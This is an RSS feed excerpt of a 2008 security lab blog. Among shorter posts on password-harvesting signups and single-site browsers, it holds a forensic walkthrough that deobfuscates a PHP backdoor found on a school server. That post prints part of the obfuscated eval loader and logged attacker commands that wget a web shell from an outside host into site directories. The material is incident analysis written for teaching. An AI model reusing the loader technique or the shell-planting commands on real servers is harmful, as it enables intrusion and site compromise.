			<content:encoded><![CDATA[<p>This is a short rant prompted by another student&#8217;s observation that Yelp actually asks for your Gmail password as part of their signup process&#8230;</p>
<p>Have you encountered a website that asks for the username and password to your e-mail provider? I&#8217;m talking about this:</p>
<p><a title="Facebook asking for Gmail password" href="http://isisblogs.poly.edu/wp-content/uploads/facebook_gmail.png" rel="lightbox[76]"><img src="http://isisblogs.poly.edu/wp-content/uploads/facebook_gmail.png" alt="Facebook asking for my Gmail password" /></a><br />
<span id="more-76"></span><br />
<a title="LinkedIn asking for Gmail password" href="http://isisblogs.poly.edu/wp-content/uploads/linkedin_gmail.png" rel="lightbox[76]">LinkedIn asking for my Gmail password</a></p>
<p><a title="Yelp asking for Gmail password" href="http://isisblogs.poly.edu/wp-content/uploads/yelp_gmail.png" rel="lightbox[76]">Yelp asking for my Gmail password</a></p>
<p>This really needs to stop and people need to start using the <a href="http://googledataapis.blogspot.com/2008/03/3-2-1-contact-api-has-landed.html">Gmail Contacts Data API</a>.</p>
<p>I think it&#8217;s kind of needless to say that not only is this <a href="http://it.slashdot.org/article.pl?sid=08/03/11/1723206">unsafe</a>, but it helps users become victims of phishing at some point in the future. Socializing users into giving away their passwords to arbitrary 3rd parties is <strong>not OK</strong>.</p>
<p>So, thanks Facebook, LinkedIn, Yelp, and others for continuing to make the Internet just that much more dangerous; now start using the Contacts API.</p>
<p>If you know of any other websites that still ask for your Gmail password, list them in the comments!</p>
<p>UPDATE: This exact same issue was highlighted in <a href="http://www.codinghorror.com/blog/archives/001128.html?r=8029">Coding Horror</a> 2 months after my post went up.</p>
]]></content:encoded>
			<wfw:commentRss>http://isisblogs.poly.edu/2008/03/30/we-promise-we-wont-store-your-password/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
	<creativeCommons:license>http://creativecommons.org/licenses/by/3.0/us/</creativeCommons:license>
	</item>
		<item>
		<title>Single Site Browsers</title>
		<link>http://isisblogs.poly.edu/2008/03/13/single-site-browsers/</link>
		<comments>http://isisblogs.poly.edu/2008/03/13/single-site-browsers/#comments</comments>
		<pubDate>Thu, 13 Mar 2008 18:35:04 +0000</pubDate>
		<dc:creator>dan</dc:creator>
				<category><![CDATA[Academic Papers]]></category>
		<category><![CDATA[Psychology of Security]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://isisblogs.poly.edu/2008/03/13/single-site-browsers/</guid>
		<description><![CDATA[Single Site Browsers [to be uploaded later]
It&#8217;s an interesting idea and I can&#8217;t disagree with the concept (&#60;3 &#60;3 separation of privilege) but I think it&#8217;s missing a few things. Here are some observations I made about it.

They acknowledge that SSB&#8217;s do nothing against malware.
It solves the problem of webpages bringing in resources from all [...]]]></description>
			<content:encoded><![CDATA[<p>Single Site Browsers [to be uploaded later]</p>
<p>It&#8217;s an interesting idea and I can&#8217;t disagree with the concept (&lt;3 &lt;3 separation of privilege) but I think it&#8217;s missing a few things. Here are some observations I made about it.</p>
<ol>
<li>They acknowledge that SSB&#8217;s do nothing against malware.</li>
<li>It solves the problem of webpages bringing in resources from all over pretty nicely. Since the organization pushing the SSB knows whats on their own website they can easily publish a whitelist of allowed domains/content or even change their own site to be simpler in that regard.</li>
<li>I think this might come down to a social problem. If I&#8217;ve got one general purpose browser I use every day (IE, Firefox, Safari) and I have it open right now, what is going to convince me to close my browser and open a new app just to get to a website that I already have bookmarked? There needs to be some incentive besides security tied into the SSB to get people to perform the above action or companies need to disable functionality on their public websites.</li>
<li>I think the SSB idea is really just a crutch because people can&#8217;t implement robust security policies in a browser. Think &#8220;IE Zones&#8221; on steroids or even <a href="http://www.greenborder.com/">GreenBorder</a> (wow when did they get bought out???).</li>
</ol>
<p>Still, it&#8217;s kind of cool.</p>
]]></content:encoded>
			<wfw:commentRss>http://isisblogs.poly.edu/2008/03/13/single-site-browsers/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	<creativeCommons:license>http://creativecommons.org/licenses/by/3.0/us/</creativeCommons:license>
	</item>
		<item>
		<title>Refusing Business from Insecure Customers</title>
		<link>http://isisblogs.poly.edu/2008/03/12/refusing-business-from-security-unaware-customers/</link>
		<comments>http://isisblogs.poly.edu/2008/03/12/refusing-business-from-security-unaware-customers/#comments</comments>
		<pubDate>Wed, 12 Mar 2008 20:02:38 +0000</pubDate>
		<dc:creator>dan</dc:creator>
				<category><![CDATA[Legal]]></category>
		<category><![CDATA[Psychology of Security]]></category>
		<category><![CDATA[Social Engineering]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://isisblogs.poly.edu/2008/03/12/refusing-business-from-security-unaware-customers/</guid>
		<description><![CDATA[Late last year in an article titled &#8220;In Zombies We Trust,&#8221; Dan Geer suggested that there are two types of users &#8212; those who blindly say yes to everything and are probably infected with a dozen viruses and those who say no to most everything and likely escape most virus problems &#8212; and that it [...]]]></description>
			<content:encoded><![CDATA[<p>Late last year in an article titled &#8220;<a href="http://blogs.zdnet.com/security/?p=661">In Zombies We Trust</a>,&#8221; Dan Geer suggested that there are two types of users &#8212; those who blindly say yes to everything and are probably infected with a dozen viruses and those who say no to most everything and likely escape most virus problems &#8212; and that it could be a legitimate practice for websites to further scrutinize the actions of those who always say yes to prevent them from getting into trouble while using their site. The premise is that these virus-infected users end up costing the businesses they frequent a significant amount of money by being such persistent problems.</p>
<p>A member of our lab (I&#8217;ll leave it to him to take credit for this idea) suggested last week that maybe this should be taken a step further. If I know that one customer of mine is more likely to be infected with a virus (or has a higher susceptibility to phishing, pick your threat) now or in the future, is it reasonable for me to completely deny him my business?</p>
<p>This can be easily tested using either Dan Geer&#8217;s test or by sending my customers random phishing messages for my own business (there&#8217;s even a <a href="http://phishme.com/">phishing appliance</a> to do it for you!). Ie., Paypal sends you a phishing email for themselves (sent from another domain, self-signed certificate, graphics copied incorrectly, differently formatted e-mail, whatever) and if you fall for it, they calculate your future profitability and weigh it against the costs you&#8217;ll incur if you actually do get phished in the future. If you&#8217;ve got a negative balance after this calculation, your account will be canceled and PayPal will have saved money.</p>
<p>The observation was also made that this is standard practice in other industries. Insurance and, regrettably, healthcare come to mind. Would this be a bad thing for web services?</p>
Note: There is a poll embedded within this post, please visit the site to participate in this post's poll.
]]></content:encoded>
			<wfw:commentRss>http://isisblogs.poly.edu/2008/03/12/refusing-business-from-security-unaware-customers/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	<creativeCommons:license>http://creativecommons.org/licenses/by/3.0/us/</creativeCommons:license>
	</item>
		<item>
		<title>Reverse Engineering a PHP &#8220;Virus&#8221;</title>
		<link>http://isisblogs.poly.edu/2008/02/23/reverse-engineering-a-php-virus/</link>
		<comments>http://isisblogs.poly.edu/2008/02/23/reverse-engineering-a-php-virus/#comments</comments>
		<pubDate>Sat, 23 Feb 2008 07:18:44 +0000</pubDate>
		<dc:creator>aleksey</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Forensics]]></category>
		<category><![CDATA[Reverse Engineering]]></category>
		<category><![CDATA[Targeted Attacks]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://isisblogs.poly.edu/2008/02/23/reverse-engineering-a-php-virus/</guid>
		<description><![CDATA[In a recent incident a school server (not an ISIS server) was compromised. PHP code was injected that listened to and executed commands passed through a POST request with &#8216;www&#8217; user privileges. Some of the commands that were run include id, pwd as well as directory searches and wgets of various files. The compromised machine [...]]]></description>
			<content:encoded><![CDATA[<p>In a recent incident a school server (not an ISIS server) was compromised. PHP code was injected that listened to and executed commands passed through a POST request with &#8216;www&#8217; user privileges. Some of the commands that were run include <em>id, pwd</em> as well as directory searches and <em>wget</em>s of various files. The compromised machine also served as a hop in a pharmacy ad delivery scheme. It redirected HTTP requests for medications to a <em>possible</em> &#8216;mothership&#8217; server. There is evidence that links to our server were posted as ads on websites like MySpace.</p>
<p><a href="http://isisblogs.poly.edu/wp-content/uploads/sample_ads_small.JPG" rel="lightbox[54]"><img src="http://isisblogs.poly.edu/wp-content/uploads/sample_ads_small.JPG" alt="sample_ads" /></a></p>
<p><span id="more-54"></span></p>
<p>This post will focus on describing the deobfuscation process and inner workings of the PHP code that allowed the mentioned functionality. This is not a very hard case of obfuscation. I also suspect that there is a obfuscating tool out there that did this.</p>
<p>You are presented with an obfuscated PHP file. It is only 2 lines, one contains some readable code, and the other is completely obfuscated. Now what? You can execute it, and watch for system calls, filesystem changes, network connections etc. Or, you can deobfuscate it manually and see exactly what it does.</p>
<p><font color="#0000ff"><strong>PARTIAL CODE:</strong></font></p>
<p>** Note, the original file has everything between &lt;?php ?&gt; tags on one line, and everything else on another. The below code is changed for readability.</p>
<pre>
&lt;?php

$OOO0O0O00=__FILE__;
$O00O00O00=__LINE__;
$OO00O0000=3024;

eval( gzuncompress( base64_decode(
'eNplj1dvwjAAhP9MpNgiCGcQEkV5YG/MXi9VhjMgCzsD+PUFtWorVXdPp7tPO
g4jhPBLyPTSjCSAwxh/BQJPbR4aVRBGBNTrHH4X34aeT3IGuJ+pICJJgca/WEG
6Co0X8Xtp+s8icdI4o4QxYFuMqMqHS5zUJYDlNKfAo8Ry/yJkVYMCfx90rWevc
z1N4uNo02qjw3yVyGoNb/Nxujj3Pfvih+Xj1hCl3V6pqOaQ5Zpl0XRWuPqwGZi8
wLc73V5/MByNJ9PZfIGXq/Vmu9sfjqezZTsu8fwgvFyjOEmzG2V5UVb3xxOJkq
w01Zam1xo8hNAgpRWB30PQ+ATAxF8l'
)));
return;
?&gt;

ZS1SnSy7fix0hJOsJgHQjOum3KfA+qjbZD9rzK0Bn0Mox055+qOlyP3NXGsN+N
n1s9TENweIiWrKaJuwjxWBQ1J7fyrY00bzj7nCW/f/63pqGxNSK7x8a2Dqy7y7
H+6/GWbanfTv9jvS1GGD9piUEOUb/eBfmgHXPHxCXCYZo6cPHCeoQEyh3Gm
Eau3z0i5sOeQNGynhwwKBes2XIjNPrsPSut4/Bz8AAE4KN4PdusO/v4OI5okUJ
......(skipping many bytes)......
Y9yT5MATh+TOXU8==</pre>
<p><em><br />
** Complete PHP file provided per request</em></p>
<p><font color="#0000ff"><strong>OBFUSCATION TECHNIQUES USED:</strong></font></p>
<p>(a) Variable name scrambling (e.g. $OO00O00O0, $IIIIIIII1II)<br />
(b) Insertion of NOP (no operation) statements such as:<br />
$LINE_NUM = 1;<br />
while(&#8211;$LINE_NUM) fgets($FILE_HANDLE,1024);<br />
(c) Use of compacting, mapping functions such as:<br />
strtr() or gzuncompress(base64_decode(â€œstringâ€));<br />
(d) Multiple rounds of obfuscation</p>
<p><font color="#0000ff"><strong>DEOBFUSCATION:</strong></font></p>
<p>The first line of the PHP file contains some readable code squeezed into one line. It needs to be made readable by separating it into multiple lines. Notice the eval(gzuncompress(base64_decode(scrambled code)) line. Replacing <em>eval()</em> with a <em>print</em> gets the job done. When the code is run it spits out more code. Now, variable names such as $OOO0O0O00 are replaced with something more useful. The mapping of variables is noted because as more code gets deobfuscated we need to look those up.</p>
<pre>
&lt;?php

$FILE_NAME=__FILE__;    // Mine is "/home/aleksey/php_virus/file.php"
$LINE_NUM=__LINE__;     // It is "1". Explanation below
$SIZE=3024;

$FILE_HANDLE=fopen($FILE_NAME,'rb');
while(--$LINE_NUM) fgets($FILE_HANDLE,1024); // never gets executed
fgets($FILE_HANDLE,4096);    // reads in the first line, advances the file pointer

$CODE=
gzuncompress( base64_decode( strtr(
fread($FILE_HANDLE,368),
'xFCazDBkYJmXHS7A0WMQn36+OTtIoNZEfbjgivyq/12UV4wr8cePRsplKLud9G5h=',
'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
)));

//eval($CODE);
return;
?&gt;</pre>
<p>Explanation:</p>
<p>__FILE__ is the name of the script file currently being parsed. __LINE__ is the number of the line within the current script file. The code opens itself (its own file) for reading in binary mode. Then, there are <em>fgets()</em> commands for 1024 and 4096 bytes. Next, the $CODE variable is assigned a value and evaluated (another round of decryption).</p>
<p><strong>(2) Second round of decryption.</strong></p>
<p>We need to see what the value of $CODE is in cleartext. Once again, there is a &#8220;gzuncompress(base64_decode(&#8221; instruction which is passed the value of <em>strtr()</em> function (not to confuse with <em>strstr()</em>). The <em>strtr()</em> functions prototype is &#8220;string strtr(string $str, string $from, string $to)&#8221;. It returns a copy of &#8220;str&#8221;, translating all occurrences of each character in &#8220;from&#8221;  to the corresponding character in &#8220;to&#8221;. So we have a mapping of some sort. Now comes the complicated part.</p>
<p>The $str is a string of 368 bytes from the original file. But, there are 2 <em>fgets()</em> statements that advance the file handle before the <em>fread()</em> can read in the 368 bytes. The first <em>fgets()</em> is not executed  because in &#8220;while(&#8211;$LINE_NUM) fgets($FILE_HANDLE,1024);&#8221; the value of LINE_NUM is 1. The second <em>fgets()</em> statement,&#8221;fgets($FILE_HANDLE,4096)&#8221; is executed &#8211; it reads in the whole first line of the file. So, the 368 bytes to be used in the strtr call come from the first 368 bytes of the second line in the original php file.</p>
<p>We use those 368 bytes in â€œgzuncompress(base64_decode(strtr(fread(â€œ as the value for <em>fread()</em>. The resulting code with cleaned up variable names is below. Notice, the $CODE is replaced with its value. The replacement is almost the same as the previous code, except there is also an <em>ereg_replace() </em>call.</p>
<pre>
&lt;?php
$FILE_NAME=__FILE__;   // Mine is "/home/aleksey/php_virus/file.php"
$LINE_NUM=__LINE__;    // It is "1".
$SIZE=3024;

$FILE_HANDLE=fopen($FILE_NAME,'rb');
while(--$LINE_NUM) fgets($FILE_HANDLE,1024); // never gets executed
fgets($FILE_HANDLE,4096);

if (!function_exists('gzuncompress')) die('');

$CODE2=
ereg_replace(
'__FILE__',
"'" . $FILE_NAME . "'" ,
gzuncompress( base64_decode( strtr(
fread($FILE_HANDLE,$SIZE),
'xFCazDBkYJmXHS7A0WMQn36+OTtIoNZEfbjgivyq/12UV4wr8cePRsplKLud9G5h=',
'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
))));

fclose($FILE_HANDLE);
//eval($CODE2);
return;
?&gt;</pre>
<p><strong>(3) Third round of decryption:</strong></p>
<p>We now need to figure out the value of $CODE2. The <em>ereg_replace()</em> prototype is &#8220;string ereg_replace  (string $pattern, string $replacement, string $string)&#8221;. It scans &#8220;string&#8221;  for matches to &#8220;pattern&#8221; , then replaces the matched text with &#8220;replacement&#8221;. Right away we notice that &#8220;pattern&#8221; and &#8220;replacement&#8221; are the same thing. So this is another NOP operation. Again the focus is on  &#8220;gzuncompress(base64_decode(strtr(&#8221;. This time, the strtr() takes as its first argument $SIZE bytes from the second line of the original file. Don&#8217;t forget that in the previous round of decryption, the FILE_HANDLE was advanced 368 bytes. And behold, we finally get the (almost) final version of the code!</p>
<p><a href="http://isisblogs.poly.edu/wp-content/uploads/final_still_obfuscated_code.txt" title="code_version1">code_version1</a></p>
<p><strong>(4) Fourth round of deobfuscation.</strong></p>
<p>We finally have some useful PHP code. But part of it is still scrambled. There is another series of &#8220;gzinflate(base64_decode(&#8221; commands in the beginning of this code. I will simply present the results as I have already described what to do. It is worth mentioning that this time you need to do 13 iterations on the same little piece of code to get to the clear text code. This needs to be automated. The stopping condition is when there is no more &#8220;eval(gzinflate(base64_decode(&#8221; commands in the code. A python script like <a href="http://isisblogs.poly.edu/wp-content/uploads/deobfuscate.txt" title="this">this</a> solves the problem.</p>
<p><a href="http://isisblogs.poly.edu/wp-content/uploads/final_deobfuscated_code.txt" title="code_version2">code_version2</a></p>
<p><font color="#0000ff"><strong>SUMMARY</strong></font></p>
<p>So what exactly does the code do?<br />
(a) Executes a command passed in $_POST["I1llI1"]. Could be any system command.<br />
(b) Its mothership is &#8220;hxxp://bessearches.info/virtual/gen.php&#8221;. Queries to our exploited server, such as â€œGET_php_virus?/phentermine/drug-phentermine.htmlâ€ are satisfied by pulling actual information from the mothership and displaying it on exploited server.</p>
<p>What command were run on the infected machine?<br />
There is no way of telling as they were passed in the POST request. But during sniffing phase, the attacker entered the following commands.</p>
<pre>
ls -lidpwd
find /Volumes/SSDrive/websites/SITENAMEHERE/ -user www -print
wget hxxp://www.pharmacy-directs.com/shell2.txt -O /Volumes/SSDrive/websites/SITENAMEHERE/allimages/rma.php
wget hxxp://www.pharmacy-directs.com/shell2.txt -O /Volumes/SSDrive/websites/SITENAMEHERE/unilogo/rma.php
find /Volumes/SSDrive/websites -user www -name "*.php" -ctime -40 -print
cat /Volumes/SSDrive/websites/SITENAMEHERE/images/faculty.php</pre>
<p>So we can see that the attacker was doing some reconnaissance as well as installing other backdoors.</p>
<p><font color="#0000ff"><strong>FOLLOW UP</strong></font></p>
<p>The mothership (<em>hxxp://bessearches.info/virtual/gen.php</em>) is still up. Simply entering this URL spits out  an obfuscated string that looks like the second line of our file, but longer. If I have some free time, I will write a script to do parse it.</p>
<p><font color="#0000ff"><strong>ADDITIONS</strong></font></p>
<p>[2008-02-25] This malware has backdoor and adware functionality and should be classified as such. (thanks <a href="http://schmoil.blogspot.com/" rel="external nofollow">Schmoilito</a>)</p>
]]></content:encoded>
			<wfw:commentRss>http://isisblogs.poly.edu/2008/02/23/reverse-engineering-a-php-virus/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
	<creativeCommons:license>http://creativecommons.org/licenses/by/3.0/us/</creativeCommons:license>
	</item>
	</channel>
</rss>
